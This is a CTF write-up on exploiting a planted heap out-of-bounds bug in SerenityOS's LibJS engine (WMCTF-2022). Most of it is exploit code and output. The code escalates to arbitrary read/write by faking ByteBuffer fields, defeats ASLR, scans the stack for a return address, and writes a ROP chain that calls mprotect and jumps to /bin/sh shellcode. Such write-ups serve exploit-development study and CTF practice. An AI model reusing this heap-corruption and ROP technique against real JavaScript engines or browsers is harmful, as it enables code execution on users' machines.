Couple of months ago, there was a very interesting browser exploitation challenge on chinese CTF(WMCTF-2022). The goal was to exploit a memory corruption in LibJS(SerenityOS’s JS engine) in order to pop a shell. I was busy with trying other challs/couldn’t find the time to start with this one. So I saved the challenge files locally for later when I gain some more pwn knowledge & (somewhat) good grasp on C++ pwnables.

Currently, there’s still no public writeup about the full solution. The organizers posted this, which is not a full exploit but rather a small PoC that gives you some leaks and a r/w primitive(+I found it kinda unstable and dependant on a very specific heap layout/offsets).

Last week I finally found some time to give it a shot, and managed to come up with my own trick to shape the heap properly and build primitives in a way that makes our r/w primitive reusable and more importantly: reliable! :D

So, here it is/let’s begin.

Update(16/dec/2022): The creator of SerenityOS shared this write-up (https://twitter.com/awesomekling/status/1603372099757907969), thanks Andreas! :^)

Challenge files

We got a broobwser.zip file, containing:

  • js binary(+libs/deps) compiled
  • readme.txt file, sharing information about how the js engine was compiled(commit 7537a045 in SerenityOS repo)
  • serenity.patch: a patch file, which supposed to give us hints/clue about in which part of the JS engine the vulnerabillity exists.

I compiled my own build(according to the instructions in the readme.txt file) for a better integration with gdb.

The bug

The flaw was very straight-forward. We have a heap Out-of-Bound r/w.

The bug is in the Userland/Libraries/LibJS/Runtime/ArrayBufferPrototype.cpp file:

JS_DEFINE_NATIVE_FUNCTION(ArrayBufferPrototype::byte_length_setter)
{
    auto* array_buffer_object = TRY(typed_this_value(global_object));
 
    if (array_buffer_object->is_detached())
        return Value(0);
 
    array_buffer_object->buffer().unsafe_resize(0x3341);
 
    return js_undefined();
}

The byte_length_setter function(above) is triggered whenever we try to set a new length to a JavaScript ArrayBuffer object. For example:

let buf = new ArrayBuffer(0x10);
console.log(buf.byteLength); // output: 0x10
buf.byteLength = 0x20; // triggers the bug
console.log(buf.byteLength); // output: 0x3341

In that case, it means the boundary of the array is very big, but in fact the original ArrayBuffer object was only 0x10 bytes long. This can be leveraged to a relative/OOB read-write primitive on the heap.

Initial PoC

At first, I tried to mess around with it without understanding too much the js engine internals. I tried to loop through buf as if it was an array and access indexes above 0x10(which was the original size), but that didn’t work out. After some googling around, I found that in order to read/write to a Arraybuffer object, we’ll need to wrap it around with a DataView:

Initial Out-of-Bound PoC:

 
buf = new ArrayBuffer(0x10);
buf.byteLength = 1337; // new size :: 13121
 
dataview = new DataView(buf);
 
for(i=0; i<0x100; i+=8) {
    leak = dataview.getBigUint64(i, true);
    console.log('0x'+leak.toString(16));
}

Output:

shaq@c35036cf7ca5:/share/exp-dev$ ./serenity/Build/lagom/js intial-poc.js
0x0
0x0
0x0
0x0
0x3341
0x1
0x1
0x1
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x7f1710688138
0x0
0x0
0x2
0x20

It worked! we got some random heap data(+a pointer leak!). However, this is just a relative r/w on the heap. In order to continue with the exploit-dev process we’ll need to build stronger primitives(like arbitrary r/w), and for that we need to:

  • First, learn some basic internals about the JS engine(at least what’s required for the challenge)
  • Second, fire up gdb and pick strategic places to insert breakpoints

For now, we’ll focus on the 1st one as it’s more important.

The AK::ByteBuffer class

The JavaScript’s JS::ArrayBuffer class implementation has a m_buffer member, which contains the buffer itself. This member has a type of AK::ByteBuffer - This class has two interesting fields that caught my attention:

/AK/ByteBuffer.h#L312-L320

template<size_t inline_capacity>
class ByteBuffer {
public:
    /* ... */
private:
    /* ... */
    union { // <-- (1)
        u8 m_inline_buffer[inline_capacity];
        struct {
            u8* m_outline_buffer;
            size_t m_outline_capacity;
        };
    };
    size_t m_size { 0 };
    bool m_inline { true }; // <-- (2)
    /* ... */
}

Note: This is a template class, the value of inline_capacity is set at AK/Forward.h#L19 to 0x20.

We’ll use those two fields in order to elevate our primitive from relative heap r/w to arbitrary r/w(below).

From relative heap r/w to arbitrary r/w

When allocating a new JS::ArrayBuffer, a new AK::ByteBuffer object is created:

  • If we request a size below 0x20, the content will be ‘embedded’ into the object itself(into m_inline_buffer[0x20]) and m_inline will have a true value.
  • If the requested size is above 0x20, m_inline_buffer[] will not be used as a buffer. Instead, the other part of the union will take place:
    • The first 8 bytes will be used to store a pointer(u8* m_outline_buffer)
    • The second 8 bytes will be used to store the length(size_t m_outline_capacity)

So, in order to achieve arbitrary r/w we can:

  • Create an ArrayBuffer object with a small length(new ArrayBuffer(0x10))
  • Set the 0x10 bytes to be a pointer value, followed by a length
  • Using the OOB r/w primitive, overwrite the m_inline member to be false(instead of true, which is the current value in buffers that have size less than 0x20)

After doing this, the next time we’ll access this buffer the JS engine will treat the first 8 bytes of the inline buffer as if it was a pointer! The PoC for this is below:

function hex(x) { return '0x'+x.toString(16); }
 
buf = new ArrayBuffer(0x10);
buf.byteLength = 1337; // trigger oob
 
// heap r/w, getting leaks
dataview = new DataView(buf);
for(i=0; i<0x100; i+=8) {
    leak = dataview.getBigUint64(i, true);
    console.log('0x'+leak.toString(16));
}
 
lagom_leak = dataview.getBigUint64(0xc0, true); 
lagom_base = lagom_leak-0x710138n; // offset to base
console.log('lagom leak :: ', hex(lagom_leak));
console.log('lagom base :: ', hex(lagom_base));
 
// arbitrary r/w. crafting a fake ByteBuffer object
dataview.setBigUint64(0, lagom_base, true); // set (AK::ByteBuffer).m_outline_buffer   (previously: null)
dataview.setBigUint64(8, 0x1337n); // set (AK::ByteBuffer).m_outline_capacity          (previously: null)
dataview.setBigUint64(0x28, 0x0n); // set (AK::ByteBuffer).m_inline = 0x0                (previously: 0x1)
 
elf_leak = dataview.getBigUint64(0, false);
console.log('ELF magic bytes: ', hex(elf_leak));

output:

...
lagom leak ::  0x7f39a3c84138
lagom base ::  0x7f39a3574000
ELF magic bytes:  0x7f454c4602010103

Nice! we managed to read the first 8 bytes of an arbitrarry address(lagom_base). However:

  • Due to the heap layout, some offsets might change as we continue to develop our exploit.
  • If we want to change the object to point to a different address, we won’t be able to do it again. Because we changed the m_inline property(at offset 0x28) from 1 to 0, if we try to access offset 0x28 again it will attempt to perform memory access on lagom_base+0x28.

This requires us to create a new ArrayBuffer+DataView object on each r/w we want to perform, which can make the exploit look pretty ugly.

In order to continue with the exploit-dev process, we need to make this arbitrary r/w primitive re-usable.

Making the primitive re-usable

For this, I came up with the following heap spray strategy:

  • Spray ArrayBuffer objects with size 0x10 and put all of them into a JS array(we’ll call it spraybuf[])
    • Every ArrayBuffer will have the first 8 bytes containing some sentinel value(0xdeadbeef)
    • Followed by the sentinel value, we’ll write the index of the current object inside the spraybuf[] js array.
  • Then, we scan the heap with our initial primitive in order to find 0xdeadbeef
    • Once we find it, we can know the index of it in the spraybuf[] array by reading the next 8 bytes and save it in a new JS variable idx.
  • From here-on, we can reference spraybuf[idx] in order to read/write in memory without having the need to create a new ArrayBuffer every time we want to use the arbitrary r/w primitive.

We’ll wrap everything up into 2 functions read() and write():

function hex(x) { return '0x'+x.toString(16); }
 
buf = new ArrayBuffer(0x10);
buf.byteLength = 1337; // new size :: 13121
 
dataview = new DataView(buf);
 
// heap spray
spraybuf  = [];
sprayview = [];
 
for(i=10; i<100; i++) {
    spraybuf[i] = (new ArrayBuffer(0x10));
    sprayview[i] = (new DataView(spraybuf[i]));
 
    sprayview[i].setBigUint64(0x0, 0xdeadbeefn, true); // sentinel value
    sprayview[i].setBigUint64(0x8, BigInt(i), true); // idx
}
 
 
console.log('[*] heap scan starts');
for(i=0; i<(dataview.byteLength-8); i+=8) {
    leak = dataview.getBigUint64(i, true);
    if (leak == 0xdeadbeefn && dataview.getBigUint64(i, true) > 10n) {
        off = i;
    }
}
console.log('[*] heap scan done');
console.log('off= ', off);
idx = Number(dataview.getBigUint64(off+0x8, true));
console.log('idx= ', idx);
 
 
 
// get leaks: lagom lib
lagom_leak = dataview.getBigUint64(off-0x40, true); 
lagom_base = lagom_leak-0x70e7b0n
console.log('lagom leak :: ', hex(lagom_leak));
console.log('lagom base :: ', hex(lagom_base));
 
 
// make a our primitive re-usable
function read(addr, little) {
    dataview.setBigUint64(off, addr, true); // set (AK::ByteBuffer).m_outline_buffer
    dataview.setBigUint64(off+8, 0x1337n); // set (AK::ByteBuffer).m_outline_capacity
    dataview.setBigUint64(off+40, 0x0n); // set (AK::ByteBuffer).m_inline = 0x0  (previously: 0x1)
 
    let u64 = sprayview[idx].getBigUint64(0, little);
    return u64;
}
 
function write(addr, val, little) {
    dataview.setBigUint64(off, addr, true); // set (AK::ByteBuffer).m_outline_buffer
    dataview.setBigUint64(off+8, 0x1337n); // set (AK::ByteBuffer).m_outline_capacity
    dataview.setBigUint64(off+40, 0x0n); // set (AK::ByteBuffer).m_inline = 0x0  (previously: 0x1)
 
    sprayview[idx].setBigUint64(0, val, little);
}
 
// ready to pwn
elf_leak = read(lagom_base, false);
console.log('ELF magic bytes: ', hex(elf_leak));

result:

./serenity/Build/lagom/js reusable-rw.js
[*] heap scan starts
[*] heap scan done
off=  7936
idx=  20
lagom leak ::  0x7fd9cfc9f7b0
lagom base ::  0x7fd9cf591000
ELF magic bytes:  0x7f454c4602010103

awesome. Up next: Building our way up to RIP takeover!

RIP Control

Like in many browser exploits, in order to takeover the instruction pointer we’ll scan the heap & look for a stack ptr leak. After we got a stack pointer leak, we can use the read() function (again) to scan through the stack in order to find the return address of JS::Program::execute()(this func should return after the JS interpreter finished processed everything & ready to exit).

ROP Chain

This part is pretty straight-forward: After taking over the PC/RIP register, we need to jump to a shellcode. However, we don’t have any rwx page. To overcome this, we will:

  • Get a heap leak
  • Place our shellcode in that address(or, somewhere nearby)
  • Insert a ROP chain that will:
    • Call mprotect in order to make that page executable
    • ret2-shellcode-address

Putting it all together

The final exploit should look as follows:

// util(s) 
function hex(x) { return '0x'+x.toString(16); }
gc(); 
 
/*
 * Step 1: Trigger OOB -> relative r/w
 * -------------------------------
*/
buf = new ArrayBuffer(0x10);
// trigger bug
buf.byteLength = 1337; // ArrayBufferPrototype.cpp ::  array_buffer_object->buffer().unsafe_resize(0x3341);
dataview = new DataView(buf);
dataview.setBigUint64(0, 0xcafebaben); // for debugging purposes. not rly used for exploitation
 
// heap spray
spraybuf  = [];
sprayview = [];
console.log('[*] Heap spray :D');
for(i=10; i<100; i++) {
    spraybuf[i] = (new ArrayBuffer(0x10));
    sprayview[i] = (new DataView(spraybuf[i]));
 
    sprayview[i].setBigUint64(0x0, 0xdeadbeefn, true); // sentinel value
    sprayview[i].setBigUint64(0x8, BigInt(i), true); // idx
}
 
/*
 * Step 2:  > Find the AK::ByteBuffer object on the heap
 *          > Get leaks/break ASLR
 * -------------------------------
*/
for(i=0; i<(dataview.byteLength-8); i+=8) {
    leak = dataview.getBigUint64(i, true);
    if (leak == 0xdeadbeefn && dataview.getBigUint64(i+8, true) > 10n) {
        off = i;
    }
}
 
idx = Number(dataview.getBigUint64(off+0x8, true));
console.log('[*] Found sentinel val(0xdeadbeef). victim chunk idx :: ', idx);
 
console.log('[*] Breaking ASLR / getting leaks');
// get leaks: lagom lib
lagom_leak = dataview.getBigUint64(off-0x40, true); 
lagom_base = lagom_leak-0x70e7b0n
console.log('   > lagom leak @ ', hex(lagom_leak));
 
// get leaks: heap
heap_leak = dataview.getBigUint64(off-0x30, true); // will be used at the last step to place the shellcode
console.log('   > heap leak @ ', hex(heap_leak));
 
/*
 * Step 3:  > Escalate from relative heap r/w to arbitrary r/w
 *          > Corrupt the `m_inline` field in `AK::ByteBuffer`
 *          > Add a pointer to the `m_outline_buffer` field in `AK::ByteBuffer` 
 *          > Make our primitive re-usable by creating a `read()` and `write()` functions
 * -------------------------------
*/
console.log('[*] Corrupting AK::ByteBuffer chunk to achieve a fakeObj-like primitive');
function read(addr, little) {
    dataview.setBigUint64(off, addr, true); // set (AK::ByteBuffer).m_outline_buffer
    dataview.setBigUint64(off+8, 0x1337n); // set (AK::ByteBuffer).m_outline_capacity
    dataview.setBigUint64(off+40, 0x0n); // set (AK::ByteBuffer).m_inline = 0x0  (previously: 0x1)
 
    let u64 = sprayview[idx].getBigUint64(0, little);
    return u64;
}
 
function write(addr, val, little) {
    dataview.setBigUint64(off, addr, true); // set (AK::ByteBuffer).m_outline_buffer
    dataview.setBigUint64(off+8, 0x1337n); // set (AK::ByteBuffer).m_outline_capacity
    dataview.setBigUint64(off+40, 0x0n); // set (AK::ByteBuffer).m_inline = 0x0  (previously: 0x1)
 
    sprayview[idx].setBigUint64(0, val, little);
}
 
/*
 * Step 4:  > Leak a stack ptr
 *          > Using our arbitrary r/w, we scan the heap to find a stack ptr
 * -------------------------------
*/
heap_scan = BigInt(0);
stack_leak = BigInt(0);
for(addx = 0; addx<(0x1000*0x40); addx+=8) { // scanning pages until finding a stack ptr(works with 0x20)
    heap_scan = read(heap_leak + BigInt(addx), true);
    if(heap_scan > stack_leak && heap_scan > 0x007f0000000000n && heap_scan < 0x00800000000000n) {
        stack_leak = heap_scan;
    }
}
console.log('[*] stack @ ', hex(stack_leak));
 
/*
 * Step 5:  > Find ret addr
 *          > Scaning the stack in order to find the return address of `JS::Program::execute()`
 * -------------------------------
*/
// scanning the stack address space
ret_addr = lagom_base + 0x180ba9n;
stack_scan = stack_leak & 0xffffffffffffff00n;
stack_ptr = BigInt(0);
 
for(addx = BigInt(0); /* forever */ ; addx+=8n) {
    stack_ptr = read(stack_scan - BigInt(addx), true);
    if(stack_ptr == ret_addr) {
        stack_ptr = (stack_scan - addx);
        break;
    }
}
 
/*
 * Step 6:  > Crafting a ROP Chain
 *          > Build a ROP chain that will create a rwx page for our shellcode
 * -------------------------------
*/
libc_leak = read(lagom_base + 7478512n, true);  // leaking lagom.got['stdout']
libc_base = libc_leak - 0x21a868n;              // fetch base by subtracting libc.sym['stdout']
console.log('[*] libc_base @ ', hex(libc_base));
 
 
// flags
MAP_PRIVATE = 0x2n;
MAP_ANONYMOUS = 0x20n;
 
// perms
PROT_WRITE = 0x2n;
PROT_READ = 0x1n;
PROT_EXEC = 0x4n;
 
// required funcs for rop 
mprotect = libc_base + 0x11ec50n;
console.log('[*] mprotect @ ', hex(mprotect));
 
// arg(s)
shellcode_addr = (heap_leak + 0x3000n) & 0xfffffffffffff000n;
shellcode = [
    0x6e69622fb848686an,
    0xe7894850732f2f2fn,
    0x2434810101697268n,
    0x6a56f63101010101n,
    0x894856e601485e08n,
    0x50f583b6ad231e6n,
];
 
// put shellcode 
for(i=0; i<shellcode.length; i++) {
    write(shellcode_addr+BigInt(i*8), shellcode[i], true);
}
 
console.log('[*] shellcode @ ', hex(shellcode_addr));
console.log('[*] Crafting a ROP chain, mark page as rwx...');
 
// put rop
rop = [
    lagom_base+0x1378d5n, // pop rdi; ret;
    shellcode_addr,
    lagom_base+0x13831dn, // pop rsi; ret;
    0x1000n,
    lagom_base+0x4f600bn, // pop rdx; ret;
    BigInt(PROT_WRITE|PROT_READ|PROT_EXEC),
    mprotect,
    shellcode_addr,
];
 
for(i=0; i<rop.length; i++) {
    write(stack_ptr+BigInt(i*8), rop[i], true);
}
 
console.log('[~] go go go!!');
// end of script, interpreter returns from `JS::Program::execute()` and jumps to our shellcode
// profit!

Result:

Thanks for the challenge!